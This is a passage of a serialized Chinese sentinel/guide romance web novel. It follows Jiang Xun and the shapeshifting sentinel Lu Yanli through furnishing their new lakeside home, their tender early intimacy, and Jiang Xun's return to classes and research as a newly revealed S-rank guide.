“趁天还没黑，我们去一趟商场吧。不然今晚都没法好好睡觉。嗯……再看看家里还有什么急需的东西要买，先把要紧的几样置办齐全了。”江寻计划道。 陆厌离也欣然同意。 两人干脆停下了手里正在收拾的活计，凑在一起，把刚才整理东西时发现的，还缺的一些日常必需品简单列了个清单。随后一起换了衣服，驱车前往最近的那个大型家居卖场。 时近傍晚，卖场里已经燃起了灯光。大部分顾客已经在朝出口的方向走去等待结账了，反而给两人留出了购物的空间。 这家卖场规模还是比较大的，里面陈列的家具品类琳琅满目，从小小的卡包玩偶，到大型的书架桌柜应有尽有。 但是今天时间比较紧张，两人也没有时间慢慢逛，就先找出了卖场的商品分布图，查看了一下床上用品区的位置，又按照两人之前列出的清单，规划了一下后续路线，这才目标明确地直奔目的地。 这会儿，床上用品区里只有零星一两位顾客在挑选商品了。仅有的两位导购员也正陪在其他顾客身边介绍着商品。 各式各样的床单、被套、枕套、床笠床幔让人眼花缭乱。 江寻便与陆厌离先行自己挑选了起来。 江寻在地球上时独自生活了很长时间，倒是有些购买这些家居用品的经验。不过如今在星际社会，他熟悉的那几种材质这里基本都没有，对于标牌上注明的材质，大部分都一无所知，也只能一边在终端星网上搜索着相关的经验帖，一边自己亲自上手感受着布料的质感。 陆厌离则是完全没有过这方面的经验，跟着江寻这里摸摸那里看看，虽然完全不知道江寻挑选的依据是什么，也兴致勃勃地凭自己的主观感受为江寻提着意见。 一时之间，挑选一套床上用品，两人讨论的那股认真劲儿，简直像是要做什么重大决定。 旁边一位刚刚送走了顾客的导购看到两人的模样，立马尽职地迎了上来，先是大概听了一下两人讨论中的需求要点，目光又在两人之间转了转，这才露出一个热情的笑容，寻了个空档插话道：“两位先生是来为新家挑选床品的吗？是给主卧选？我们这里有很多适合伴侣的款式，面料多种多样，每种类型的床品也都有它们各自的长处，两位需不需要我来为您们讲解一下？” “伴、伴侣？”陆厌离被她口中的这个词说得有些不好意思，耳根发烫，下意识地看向江寻。 江寻却丝毫没有纠正的意思，神色自然地接过了话头，对着这位导购点了点头：“是的，我们都不太懂这些面料，麻烦您帮我们推荐一下了。” 导购看了看两人不同的表情，心下得意一笑，她的眼光果然没错，这很可能是一对儿刚刚开始同居的伴侣。想到这儿，她仿佛看到了提成在向自己招手。再看看两人的形象气质、衣着打扮，脸上的笑容更加灿烂，立刻将两人带到了高档床品的区域，热情地介绍起来： “看二位身上的气质，应该是哨向伴侣吧？面对哨向伴侣，我特别为您们推荐这几款床品。”导购托起一条床单，递到二人手中，让他们亲自感受肤感，“这边的几款都是我们的新品，专为向哨伴侣而制作，采用韧性七级以上的高支棉制作而成，亲肤透气，而且非常结实耐用，能承受得住很大一部分爪尖、指甲的勾划与拉扯，而且……” 导购看了两人一眼，眼神中带上了些许暧昧的意味：“怎么翻身摩擦都不易起皱，打理起来也十分方便，防泼溅，不易沾染污渍，还非常好清洗。” 江寻听着导购的介绍，开始时还跟着点头，听到中间部分，却是深深看了她一眼，露出一个了然的笑容，没有反驳。 陆厌离起初还没反应过来，只是说着说着，发现导购与江寻两人都没了声音，还双双露出相似的笑容。 他第一反应就觉得两人之间似乎有了什么自己不知道的默契，有些别扭。直到看到江寻也用那种奇怪的眼神看向他，还突然在外人面前握住了他的手，才猛地反应过来导购话语里的深意。 脸颊当即“唰”一下一直红到了耳根，连衣领下的脖颈都染上了一层浅粉。他下意识地手上一紧，就想拉着江寻离开，可手上的力道又让他反应过来，停下了脚步。 稍微犹豫了片刻，他却没有继续逃避，反而抿了抿唇，顶着一张染上了热意的面孔，更加认真地听起了导购的讲解，甚至当导购推荐几款据说特别遮光，且牢固、非常静音的床幔时，也红着耳朵点了点头，认认真真地翻看起来。 江寻在一旁看着陆厌离的反应，只觉他这幅模样可爱至极，眼里始终带着纵容的笑意跟在他身后。陆厌离看中了哪套，他便将其放进购物车里。最后，只在这个床上用品区，两人就足足挑选了四五套不同颜色质地的床品。 买好了最重要的东西，接下来两人的速度便慢了下来，按照一开始计划好的路线，推着购物车一路走过各个区域。又添置了一些新的毛巾、锅具等必需品。 一路走来，陆厌离始终沉浸在兴奋的情绪里。一点儿也不嫌他们所挑选的只是很便宜很日常的小东西，一路都在认真比较着各种商品之间的外形与功能，与江寻仔细商量着哪种更好、更适合放在他们的新家里。 江寻的心中一片柔软温暖。两人就这样如一对儿真正的伴侣一般，为他们共同的小家细心挑选着每一样物品。这样的联想，让江寻的心里充满了踏实而充足的幸福感。 沿着路线走完一圈，购物车里已经堆满了东西。 就在他们排着队等待结账时，陆厌离的目光顾盼之间，又被旁边展示架上放着的一对漂亮的橘色陶瓷花瓶，吸引住了。 那热烈又明亮的橘色，让他瞬间便想起了很久之前，在寂静星上，江寻专门为他做的那个小垫子和后来为他编织的窝篮。 越看越是心动，忍不住拉了拉江寻的袖子：“江寻，你看那个。” 江寻顺着他的目光看去，同样一眼便看到了那对显眼的漂亮花瓶。看了看陆厌离期盼的目光，露出一个了然的微笑，点了点头：“喜欢呀？那就买回家。” 江寻毫不犹豫的支持，令陆厌离瞬间笑弯了眼睛，连忙快走几步过去，趁着还没轮到他们结账，取了那对花瓶，小心翼翼地塞进已经堆得满满的购物车里。 走出家居店时，两人手上都拎着好几个大袋子。彼此看了看对方的形象，都不禁笑出了声。随即挽起手臂，驾驶着悬浮车，慢慢消失在了人流之中—— 作者有话说：同居啦冲鸭[加油] 第202章 回到湖畔区的家中时， 外间的天色早已完全黑透。 湖岸两边郁郁葱葱的许多不知名植株，却在此时展现出了他们真正的美丽。 大片大片顶着浅蓝色荧光的草茎，随着微风如夜之女神的轻纱裙摆般翩跹摇曳。草叶之间， 还有若隐若现的不知名荧光小虫穿梭飞舞。 不远处的湖面波光粼粼，在月色下反射出泠泠清辉，清澈的湖水里，还有通体浅紫粉红的巨大水母， 舞动着触须， 在湖水中忽隐忽现。 江寻和陆厌离行驶至近处时， 都不知不觉地放慢了速度，生怕惊扰了这一片梦幻而静谧的美景。 直到驶入大门， 两人仍意犹未尽。不过想到今后还有许多机会可以夜游湖畔，便也没有急于一时。先把大包小包的东西从车上取下来，暂时堆放在客厅里。 时间已经很晚了， 两人今天也忙碌了一整天， 懒得在这时候慢慢收拾，只从今天买到的商品中取出了一套睡觉必需的床品，妥帖地将光秃秃的双人床仔细铺好。 先后洗漱完毕后， 带着一身清爽的水汽与沐浴露的淡香， 两人终于躺上了新家新床， 准备休息。 灯光“啪嗒”一声熄灭， 整个卧室暗了下来， 只有窗外隐约透入的月色荧光， 在家具轮廓上勾勒出一圈模模糊糊的光边。 突然换了一个新环境， 两人都还有些不适应。一时之间，躺在床上也毫无睡意。江寻看着面前这个比以前宽敞了许多的房间，反而觉得有些陌生， 有些不自在。 好在身边微微下陷的床垫，让他们时时刻刻都能意识到对方就在自己身边，抚平了一些突如其来的不安。 一整个白天，两人都沉浸在一起挑选物品、布置共同居所的温馨氛围里，直到此刻，那份余韵仍未消散。 但随着空气安静下来，与对方真正并肩躺在这张宽敞的双人床上，听着近在咫尺的悠长呼吸声，一种不同于往常的，有点陌生又带着些隐秘悸动的紧张感，便悄然而生，慢慢在两人之间弥漫开来。 江寻平躺在床上，眼睛注视着天花板，余光却一直留意着自己身边。这样静谧的夜里，一点点动静都会被无限放大，连自己的心跳声都仿佛在振动耳膜。身边另外一个人的呼吸声也变得格外清晰。 细数起来，这似乎是江寻长大以后第一次与他人同床共枕。他不可避免地产生了些不自在的感觉。可此刻，躺在身边的人又是自己已经认定的人生伴侣，那点不自在便转变成了些许紧张，与一丝蠢蠢欲动。 待他敏锐地察觉到身边的人也浑身紧绷，像一块石头般一动不动，连呼吸都被刻意压制得轻缓细微时，心底滋生出的那点紧张，反而在顷刻间烟消云散了。 他的嘴角浮现出一抹微笑，思绪清晰了起来。 今天是他与陆厌离第一次以人形同床共枕，两人如今都紧张又不适应。他并不准备更多地做些什么，只想等两人的感情自然发展到那一步之后，再水到渠成。 于是也不随意乱动吓到身边的人，只是轻轻闭上了眼睛，尝试着入睡，让自己慢慢适应这种与人同床共枕的感觉。 可树欲静而风不止，他这边倒是安静下来了，可身边人的动静却越来越大。 一开始，陆厌离还一直紧绷着身体，努力压抑着紧张的呼吸。可没过多久，就开始屏着呼吸轻微挪动起来。睡衣摩擦在新床单上，不住发出窸窸窣窣的轻微声响。过了好一会儿，似乎是调整到了一个舒服的姿势，那声音终于停了，可江寻却又感觉到，一道视线正偷偷注视过来，流连在他的侧脸上久久徘徊。 江寻本想着对方不适应也属寻常，由着他去慢慢适应就好。可躺着躺着，他却感到连身周的精神力场都被对方所触碰，一丝紧张而隐秘的奇异感觉也顺着两人之间的感应通道，隐隐传递了过来。 这种感觉，就像是小猫一直在伸爪试探地挠着手心，江寻再想平静已是不得，只好无奈地重新睁开了眼睛，在黑暗中侧过头去，迎向视线传来的放下，低声问道：“怎么了？睡不着吗？” 陆厌离像是被他的突然出声吓了一跳，瞳孔忍不住微微一缩，过了几秒，才意识到可能是自己的动静打扰到了江寻。可在这样的情境下，此时的他却没有像往常一样感觉抱歉，反而从心底生出些委屈与期待来，又小心地凑近了一些，含含糊糊地喃喃道：“……今天……还没有晚安吻呢……” 江寻闻言好笑，听着耳边传来的声音，又觉得他可怜又可爱。想了想，自己却没有主动动作，而是转过了身来，正对上了陆厌离的正脸，把脸庞往前凑了凑：“那你自己来。” 也不知是因为气氛使然，还是这地点过于特殊，这段时间以来，两人本来已经亲吻过不少次，应该已经比较习惯了的。可此时此刻，陆厌离却觉得格外紧张刺激。 感受着江寻近在咫尺的呼吸，心里十分想不管不顾地亲近上去，动作间却不敢越雷池一步。 犹豫了半天，终于从江寻的静默与眼神中汲取到了勇气，仰头凑近了过去，小心翼翼地在江寻的唇瓣上轻轻碰了一下。 两人之间的接触一触即离。陆厌离有点紧张地停顿了片刻，凝视在江寻润泽的唇瓣上，像是受到了蛊惑一般移不开目光。他咽了口口水，才慢慢地再次贴近上去，动作间充满了珍惜。 一次、两次，本是充满了纯粹的轻柔蜜意的啄吻，在床上这个十足私密的空间里，也渐渐染上了一层不一样的意味。 陆厌离只觉呼吸开始变得火热而缠绵，脑子里烧成一片。吻得越来越深入，细微的啧啧声在辗转间轻轻溢出，呼吸也渐渐急促起来。随着唇齿越发深入，身体却反而更加僵硬，一双手紧紧蜷缩在身前不敢动弹，脚掌蹬在床单上不是靠近，反而在竭力远离。身体与意志仿佛分裂成两个不同的个体，一个叫嚣着想要贴近，一个狂奔着想要逃离。 两人之间的空气也越发焦灼，两团精神力缓缓流动起来，热情地扑向彼此，绞缠着穿梭游动。 久久，直到空气都变得稀薄，这热情的一吻才在喘息声中渐渐停歇。 江寻缓了缓，轻轻舔去唇边溢出的湿意，才将手轻轻搭上陆厌离紧绷的脊背，一边轻柔地为他顺着背，一边低声说道：“很好，就这样，还想要什么？告诉我。” 成熟的男人被勾起了一丝悸动，连声音都变得格外磁性柔和，在陆厌离的耳边响起，瞬间便诱哄得他迷蒙了双眼。 陆厌离被他这么引导着，断断续续地启了唇，声音同样带着些情动后的沙哑：“……还想……想和你更近一点……想让你……摸摸我……” 一声缱绻低笑从江寻口鼻间溢出。 “好。”一声应和，江寻手臂揽上陆厌离的腰间轻轻用力，将人带进了自己怀里。 一手强硬地环住陆厌离的背脊，将他的脸庞按进自己颈窝里固定住，仿佛在阻止他逃跑。另一只手缓慢地游移到他的腰间，小指一挑，便顺着衣物的缝隙滑了进去。 房间里再次安静下来，只有细微的布料摩擦声隐隐约约从床上相拥的身影处传来。 掌心下的触感温热细腻，带着哨兵所特有的柔韧肌理。江寻的指尖每每从沟壑间划过时，都会引来一声被完全捂住的闷哼与颤抖。这样的反应，却像是一声声摇旗呐喊的鼓励，让江寻嘴角的笑意更深，手下更加肆无忌惮起来。 衣物下爬出蜘蛛，从肩颈游移到后背，又越过腰侧的曲线，爬向紧实的腹部，眼看着蛛腿又是一个弯折，目标明确地继续向上移动，渐渐逼近更加丰沃的一片山脉时，陆厌离猛地倒吸了一口气，口中含糊呜咽出一声如泣如诉的低吟，挣扎的力量骤然增大。 可江寻早就有先见之明，已是把他紧紧困在了怀里。正要凑近过去轻吻安抚他紧张的情绪，却觉空气中躁动的精神力骤然一收。 随即，怀里一空，伴随着衣物滑落的窣窣声，怀中高大的人影瞬间消失，一个毛茸茸，热乎乎的小东西猛地从衣物堆里窜了出来，一头扎进了他的胸口里，把自己毛茸茸的脑袋死死埋进江寻的衣襟里，只留下一条尾毛全部炸起的大尾巴在身后紧张地翻卷摆动着。 江寻：“……” 满室的旖旎气氛瞬间烟消云散。 江寻看着怀里这团哼哼唧唧，无限委屈的毛团，哭笑不得。 只得抬起手来，没好气地在猫猫圆润的屁股上不轻不重地轻拍一下，笑骂一句：“没出息的小混蛋。” 猫猫似乎也知道自己这般临阵脱逃毫无道德，却丝毫没有改正的意思。往他怀里缩得更紧了，口中不住发出细细弱弱的讨好呜咽声。 江寻能怎么办呢？只得无奈地叹了口气，让自己的身体平静下来，就着这个姿势，将怂成一团的猫咪整个圈进了怀里，拉好被子闭上了眼睛。 夜色越发深沉静谧，床上的人嘴角仍带着一丝无奈的笑意，面上却是满满的纵容。他将怀里温暖的小身体搂得更紧了些，渐渐沉入了梦乡。 当清晨的阳光透过窗棂洒在江寻眼帘上时，他终于打了一个哈欠，缓缓醒了过来。 下意识地在身边摸了摸，却空无一物。 “嗯？”睁眼一看，床上空空如也，既不见人也不见猫。身边的被子却掀起了一角，显见是里面躺着的那个家伙已经溜走了。 江寻抿嘴一笑，看来某人还在心虚呢，一大早就跑得没影了。他也没急着去找人，趿着鞋子自去洗漱。收拾好了自己，才踏下了楼梯。 还没走到二楼，大厅中就传来一阵“啪嗒啪嗒”的脚步声，一道灰影风一般从一楼沿着扶手窜了上来，奔至二楼的楼梯转角，扭身在扶手栏杆上一踩一踏，便合身迎面扑来，一下子跃进了江寻怀里。 江寻稳稳接住这沉甸甸的一团，在他连绵不绝的细长喵声中，习以为常地将猫单臂一搂，由着他亲亲热热地对自己又蹭又舔。心下却觉得好笑，这个家伙，猫猫形态的时候倒是又粘人又胆大，整天挂在自己身上又亲又抱，一换做人形就开始害羞了。也不知道是怎么养成的性子。 看他这会儿连人形都不变回来，怕是还在那里心虚别扭呢。江寻也不点破，他本身对亲密之事也不是那么急切，既然对方还不习惯，那就慢慢来。 抱着猫猫去新厨房，磕磕绊绊地给两人准备了早饭，又伺候着突然调皮起来的小祖宗吃过早餐，江寻便开始将昨天买回来的东西一一归类整理起来。 他干活的时候，猫猫也不消停，亦步亦趋地甩着大尾巴跟在他脚边，跟个监工似的看着江寻将每一样被两人买回来的物品，按照昨天的商量一一归置到该放的位置上。偶尔还会有些新的想法，便用爪子指挥着江寻把一件东西换来换去地看效果，江寻也不生气，轻笑着从善如流地听凭“猫主管”的指挥，直至让他满意地“喵”一声后，才算作罢。 东西不多，又都是些轻省的日用品，即使在猫猫的不断骚扰“指挥”下，江寻也很快将所有东西收拾完毕。 将最后那对橘色的漂亮花瓶一左一右摆在客厅投影仪两侧之后，江寻仔细打量一下客厅，却仍觉得有些过于空旷冷清。 想了想，对着脚边的猫猫说道：“我们还没去后面的温室看过呢，刚好有花瓶了，我们去剪点儿花来插上？” 猫猫立刻长长地“喵”了一声以示同意，随即便甩着尾巴跟在江寻身后，向着别墅的后院走去。 打开一楼的花园门，一人一猫便一脚踏入了小花园的范围。 整个温室小花园总面积并不大，但实在精致。 整体呈全封闭结构，通体却是由无边框的透明玻璃构建而成。各种花卉在智能恒温系统的照顾下，在这寒冬时节依然生机勃勃，姹紫嫣红。花园中央甚至还挖有一个小巧的池塘，池底由不知名的淡蓝晶体铺就而成，映得池水波光粼粼，美丽非常。池边垂下来的几片阔叶搭在池面上，更显意趣十足。 每次化为猫身时，陆厌离的行为总会受到猫身本能所影响，爱玩爱闹，好奇心十足。此刻见了这闪着粼光的水面，也马上便被其所吸引，两步并作两步跑到了那阔叶旁边，忍不住探头往池底看去，在池边徘徊几步，还是忍不住手痒地伸出爪子，小心翼翼地探进冰凉的水里拨弄几下，又去够那铺在池面上的叶子，玩得水池溅起一片涟漪。 江寻落后几步，一边欣赏着这处花团锦簇的小花园，一边踱步走到猫猫身边。看了看他自顾自玩得开心的样子，笑道：“喜欢这个小池塘？那以后在里面给你养几条小鱼玩。” 猫猫听到他的话，立马碧眼闪亮起来，回头抱上他的小腿，几下攀着他的衣服爬上来，搂住他的脖子就讨好地“喵呜喵呜”直叫唤。连尾巴都倒卷上来，一下下在江寻的脖颈上磨蹭，显见是对他的提议十分满意。 江寻一笑，又抱着猫猫在整个小花园中溜达了一圈，把各处布置都看过一遍后，才采了几支颜色淡雅的花枝，回到了客厅里。 说要插花，可实际上江寻也没有做过这么文雅的事，不过是随着自己的感觉修修剪剪，错落放置而已。 他把花枝平铺在客厅地面上，取了一只花瓶装上半瓶清水，便信手拿来剪刀开始修剪花枝。 他在这边做手工，猫猫也闲不住，一会儿钻进他怀里，搭着他的手臂，聚精会神地看着他动作；一会儿又窜了出去，在旁边拨弄着被修剪下来的枝叶玩耍；再过一会儿，又追着自己的尾巴转起了圈来，自娱自乐，玩得不亦乐乎。 江寻偶尔瞥他一眼，见他自在，也只是微微一笑，自顾自把一支支花朵调整到感觉最舒服的位置。可剪着剪着，耳边却忽然传来一阵急促又带着些慌乱的“喵喵喵”声。 “嗯？”他循声望去，身边却已经不见了猫猫的踪影，疑惑地顺着声音走了两步，才发现声音是从另外那只还空着的橘色花瓶里传出来的。 放下手中的花束和剪刀，好奇地走过去低头一看，却忍不住笑出了声。 只见那敞开的瓶口中，此刻正卡着一个毛茸茸的猫猫头。他也不知是什么时候钻进去的，此刻圆滚滚的身体整个塞在瓶子里，脑袋却卡在了瓶颈处，一双爪子扒拉着，却在光滑的瓶壁上无处使力，正焦急地呜呜直叫唤，看向自己的那双碧眸中，满是无助和窘迫。 “噗！”江寻忍不住闷笑一声，猫猫的眼神中瞬间漫上了羞赧与谴责。 “你是怎么钻进去的？”江寻尽力憋住笑，收效却甚微。在猫猫的急切目光下，小心握住花瓶，轻轻倾斜下来，瓶口对着地面，试图把里面的猫猫“倒出来”。 猫猫也配合着努力扭动着身体，好不容易才“啵”一声逃脱了出来。一落到地面上，立刻抖了抖毛，扭过头佯装舔毛，将在花瓶中蹭得乱七八糟的长毛理顺，也躲避着江寻揶揄的目光。 “怪不得都说好奇心害死猫，”江寻好笑地蹲下身来，伸出手指点了点猫猫湿漉漉的鼻尖，“幸好我在旁边，要不然你可不知要在里面呆多久了。” 陆厌离被他肆无忌惮的笑意惹得恼羞成怒，喉咙里发出不满的咕噜声，见他还一脸笑吟吟地戳着自己玩，突然就恶向胆边生，一个翻身扑上了江寻面门，用粉色的肉垫软软踩上了江寻的脸庞，试图用“物理禁言”的方式制止他这种欺负猫的恶劣行径。 江寻被他扑得向后一仰，便顺势躺倒在了地毯上，软软的肉垫袭上他的脸颊，却让他越发笑得肆无忌惮，直气得猫猫使劲儿用爪子拍打他的脸庞泄愤。 江寻却是一把抓住了猫猫两只不安分的小爪子，故意逗着他：“怎么还敢袭击主人了，这么不听话的小猫，是要被人吃掉的！” 话落，他就双手扯开猫猫的前爪，露出他柔软的肚腹来，把脑袋埋了进去一阵乱亲，边亲边发出一阵毫不掩饰的笑声。 他这一下更是欺负地猫猫羞愤挣扎了起来，在他手下扑腾半天却逃脱不出去，连尾巴都炸成了鸡毛掸子。 也不知是羞愤过了头还是怎么的，玩闹之间，被抓住爪子的陆厌离却是突然拉出一声长长的喵叫，身形猛地一闪。 下一秒，被江寻抓在手中的爪子一瞬抽长变成温热的皮肉，江寻眼前一暗，压在身上的重量骤然增加，毛茸茸的猫猫身影霎时消失，化为一个苍白皮肤，灰发碧眸的高大哨兵。 他的脸上还残留着一抹尚未褪去的红晕，周身的黑灰焰息还未完全消散，便羞恼地反驳出声：“谁袭击主人了？！还不是你一直笑我……” 话还没说完，陆厌离就因为自己这番没过脑子的动作僵住了。也不知是不是身处猫身时总会受到其生理特性的影响，他刚才重新变化回来的时候毫不犹豫，此刻却突然意识到两人极为暧昧的姿势。 他正骑跨在江寻腰间，浑身未着寸缕，双手被身下的江寻紧紧抓着拉得极近。上身整个紧贴在江寻身上，能清晰地感受到江寻还未消去的笑意引起的胸腔震动。说话间呼出的热气吹拂在江寻面庞上，让他的眼睫都在颤动。 陆厌离瞬间僵住了，一抹红晕从锁骨处迅速往上蔓延，染红了他的脸颊耳根。而被他压在身下的江寻也渐渐收了笑意，看向他的眼神越来越深。 随即，那如有实质般的目光缓缓顺着他的脖颈下移，极近处，他感觉到有人的呼吸逐渐变了频率…… 碧眼瞬间蒙上一层水汽，陆厌离一扭身下意识地就想挣脱逃跑。 江寻此时却一眼看穿了他的意图。 口中轻笑一声，眼疾手快地一把抓住了陆厌离后颈上环着的颈圈，使劲向自己的方向一带。在对方失去平衡，惊呼一声被扯过来时，猛地一个翻身，将他结结实实地压在了柔软的地毯上。 “又想跑？嗯？”江寻轻笑一声，大手紧紧捏着陆厌离的后脖颈，低下头来，深深看进了身下人的双眸之中—— 作者有话说：甜蜜日常+1[星星眼][星星眼] 第203章 江寻大手在陆厌离后颈一卡一托， 就完全制住了他的动作，他深深看进陆厌离的双眸之中，故意用控诉的语气说道：“看看， 我辛辛苦苦把你救出来，你倒好，一出来不止袭击主人，袭击完了还要跑。” 陆厌离被他这一抓， 感觉就像在猫身之中时被捏住了命运的后颈皮一样， 一下子连挣扎的力气都没有了， 双目湿润起来，被那双含笑的眼睛注视着， 莫名地连顶嘴都弱气了下来：“明明是你先欺负我的，我这怎么能算袭击主……” 说着说着，他突然觉得这种表述似乎有什么不对劲， 再看江寻嘴角露出的那抹坏笑， 面庞“轰”一下完全红了起来。 “你在说……什么主人啊！”陆厌离恼羞成怒地推了推江寻。 “怎么还不承认了？之前一直追着我要做宠物的人是谁啊？”江寻装不下去了，噗嗤一声笑了出来。 陆厌离张口结舌，却无话可说。 之前他的确一直是这么想的， 但是……那完全是另外一个意思！怎么同样一件事， 此刻从江寻嘴里说出来就这么……这么让人窘迫？ 江寻看着陆厌离此刻鲜活的表情：红扑扑的脸颊， 湿漉漉的眼睛， 被他拉着倒下时凌乱铺散在地毯上的头发， 只觉得此刻的陆厌离那么像他的猫猫， 又格外可爱。手指不禁滑向对方的下巴， 在他的目光中低头再次凑近。 “今天我家的小猫实在是太可爱了，现在，主人想要亲亲我家的小猫了， 可不可以呢？”江寻的鼻子蹭上陆厌离的鼻尖，说话的声音含着缱绻笑意，又轻又缓。 随即，根本没有等待身下的人给出回答，看着陆厌离紧张又带着些期待害羞的眼神，轻笑一声，低头吻住了那张微微开启的唇瓣。 与他不讲理的话语不同，这一个吻温柔而绵长，带着满满的安抚与珍惜。他一点儿也不着急，一分分挪动着，细细用舌尖描摹着陆厌离微微颤抖的唇瓣，直到身下的人从紧张到放松，从放松到主动环上他的脖子依恋追逐，最后，终于吃够了另一人的气息，餍足地平静了下来，江寻这才稍稍退开些许。 他抵着陆厌离的额头，看着对方泛着水光的眼眸，稍有些急促地呼吸着。暧昧的空气在两人之间再次变得灼热而粘稠。 感受到对方又开始僵硬起来的身体，江寻深呼吸几下，凝视着他的双眼，轻声道：“不用紧张，不要勉强自己。我们还有很长很长的时间在一起，一切都可以慢慢来。” 话落，面对着面眼前白花花的诱惑，他没有伸手再进一步做些什么，而是打横将人抱了起来，走向卧室。 陆厌离被他这突然的动作惊得低呼一声，下意识收紧了手臂。看了江寻一眼之后，又将发烫的脸庞埋进了他的颈窝里。 抱着人与抱着猫又有一番截然不同的感觉，毛茸茸的触感变成了紧实滑腻，总让他想要当即捻上几下解解心痒。 江寻稍停了片刻，将这番奇妙滋味在心间过了一遍，随即露出一个微笑来，将人抱进卧室放在了床边。 从衣柜里拿出一身昨天刚刚买回来的新家居服，跪在床边，不容拒绝地一件件为陆厌离穿上。指尖偶尔划过隐秘敏感，便引得手下的肌肤一阵细微的战栗。 江寻只故作不知，慢条斯理地完成自己的工作，直到将最后一个衣扣扣好，这才站起身来拍了拍陆厌离的发顶，自去将客厅里的花枝残骸收拾干净。 陆厌离看着对方渐渐远去的背影，身体这才完全放松了下来。再回想刚才发生的一切，脸庞依然滚烫，仍有些无法自持地紧张战栗。可那股子一直驱使着他想要逃离的羞窘慢慢散去后，心中留下的，却是满满的幸福。 他听着从楼下不断传上来的轻微声响，脸上绽出一朵充满快乐的笑容。 * 一切杂务处理完毕，第二天，两人的生活重新步入正轨。 清早，目送着陆厌离的悬浮车一路驶往军部后，江寻取出课本与感应板，踏上了前往圣所的路途。 湖畔区的地理位置非常好，离圣所的距离，步行也只需十五分钟左右，比以往从外城的临时公寓过来要近得多。江寻连公共悬浮车都没有搭乘，就这样向着圣所的方向慢慢走去。 初时还好，可离圣所越近，江寻便越发感觉不对劲，直到正式踏入圣所的范围后，身周的气氛已经与以往截然不同。 所有从身边路过的学员们，不管是行色匆匆的还是结伴同行的，都在看到他的瞬间停下了脚步，目光齐刷刷地注视了过来。惊讶的面庞上随即爆发出惊喜，紧接着，压抑不住的热烈议论与惊呼声此起彼伏。 “快看！是江寻！” “天哪，居然还能看到他！我还以为他成了S级向导以后就不会再来圣所上课了……” “他怎么好像和以前没什么不同啊？” “S级向导！我还是第一次看到真人！” 嘈杂的私语声如同潮水般从四面八方向着江寻涌来，看到了他的人们不由自主地保持着一段距离，尾随在他的身后，一边走一边兴奋地与身边的同伴讨论着。 一开始，大家都只敢远远观望，偷偷议论。追着他走了一阵，眼看江寻就要进入星环大厅了，一些自身条件优越、胆子也够大的学员们终于按捺不住，试探着凑了上来。 “江寻同学，恭喜你晋升S级向导！我是哨兵高级战术班的罗兵……” “江寻向导！你还记得我吗？之前选拔赛的时候，你去哨兵学院问过我要不要和你组队的。可惜我那时候已经有其他搭档了，拒绝了你，实在太抱歉了，你看我们能不能加一个通讯号？” “江寻阁下，我是伊万家的人，我们家族常年为许多高级向导提供药剂供应的，不知道您是否有合作的意向……” 这一次人们眼中的热情，比江寻以往遇到过的任何一次都要来得狂热。每一个凑上来的人，都竭力想要吸引到江寻的注意，让他为他们停留下来。 然而，江寻对于这样的景象早已有所预料，态度与以往作为“夏因”时并无二致。 他的步伐不紧不慢，却丝毫不停。对每一个热情凑上来的搭讪者都微笑着颔首回应，却一句话也无，用行动表达着婉拒。 直到他一路走进了课程所在的星环大厅，一路追随过来的人群才慢慢散去。 大厅中，他的同班同学们，早已得到了消息，殷切地翘首以盼。 见到他的身影出现在大厅门口，瞬间爆发出一阵兴奋的低呼。 不过，比起外面那些其他班级的学员，已经与江寻同窗了将近一年的他们，多少了解一些他的性子，看到他走近也没有直接凑上去急着亲近，只是纷纷投来目光，或是在他经过时压低声音简短地打个招呼。 江寻也礼貌地一一颔首，依旧与往常一样走向自己惯坐的位置。 周围人群在最初的兴奋之后，渐渐安静了下来。此时，却又有不少人将目光投向另一个僻静的角落里，随后开始交头接耳，指指点点，断续传出一阵嬉笑之声。 前方那个角落里，桑扶一个人孤零零地坐着，低着头，攥着笔的指尖用力到发白。 耳边听着身后传来的嬉笑声，感受着那些带着嘲讽或是怜悯落在他脊背上的视线，他把头埋得更低了，愤恨与巨大的无力感在他心中交织着。 自从江寻是S级向导的消息传开后，他已无数次听过身边人的鄙夷与奚落。此时，他也准备好面对来自正主的嘲讽。 可是，身后却什么声音也没有响起。 一整个上午的时间，他都神思不属，将注意力一直放在身后，等待着那最后的“审判”来临。他甚至已经想好了，当对方用刻薄的话语砸在自己身上时，自己要如何反应，才能不再招致更多的欺辱。 可是，直到一天的课程全部结束，他也没有等到任何指责声响起。他甚至都没有看到对方往自己的方向投来任何一个眼神。 看着江寻自顾自收拾好东西，平静离开的背影，桑扶紧绷了一整天的身体骤然松懈下来。可随即，心底却涌上了一种更加难以言喻的耻辱感。 原来自己在对方的眼中是如此微不足道，他连一个眼神都懒得投给自己。 这一刻，桑扶骤然迷茫了起来。 这么长时间以来，我花费了这么大的代价，耗费了这么多精力，到底是为了什么？ 可惜此时，已经无人能回答他。 另一边，江寻在圣所下了课，便收拾好东西，在尼克斯的殷勤催促下，往愈灵殿的方向走去。 刚踏入愈灵殿的大门，便被望眼欲穿的尼克斯一把抓住。 “你终于来了！走走走！我的实验已经准备好了，就等你来输入精神力了！” 话落，江寻连圣所的课本都来不及放下，就哭笑不得地被尼克斯拉进了自己的实验室里。 好在前段时间在陪护陆厌离时，江寻已经大致习惯了愈灵殿中快节奏的工作方式，简单熟悉了一下实验内容，便顺利融入了研究组中，一边提供着精神力的输出，一边认真听着这些最顶级的研究员们在实验时的思路。 匆匆两个小时时间，江寻一点儿也没闲下来，一个实验做完就马上被虎视眈眈的下一个研究组拽走，直到最后一个实验组负责组长捧着好几组宝贵的数据，念念有词地抛下江寻，又一头扎进了讨论室后，江寻才寻到个空档坐下休息。 尼克斯端着两杯热饮走了过来，往江寻手上塞了一杯，便惬意地在他身边坐下，抿了一口手上的热可可，长舒一口气：“怎么样？陆少将恢复得还好吗？这样的工作节奏能习惯吗？” “嗯，恢复得不错，他今天已经正式回军部报道了。”江寻回答道，“愈灵殿里的气氛我也很喜欢，至少这里没有人一天到晚地围在身边盯着我。” “哈哈哈哈！你是说圣所里那些孩子吧？”尼克斯脑子一转就明白了过来，大笑出声，“那没办法，你毕竟是稀有珍贵的S级向导啊，等出了校园，那些孩子可能一辈子也再见不到像你这样的大人物了，怎么可能不激动？你选择公布身份的时候应该就要想到这一点嘛。” 江寻摇了摇头，不再细说这个话题。 “对了，说到你和陆少将……”尼克斯又想到了那个一直困扰着他们的谜团，不死心地把椅子拉得离江寻更近了些，凑过去神神秘秘地低声问道，“江寻，你上次给我们描述过，你是怎么在寂静星上觉醒，然后凭着与陆少将的高匹配度把他从堕化边缘拉回来的。你说自己不清楚他后来怎么会实力异常提升的。 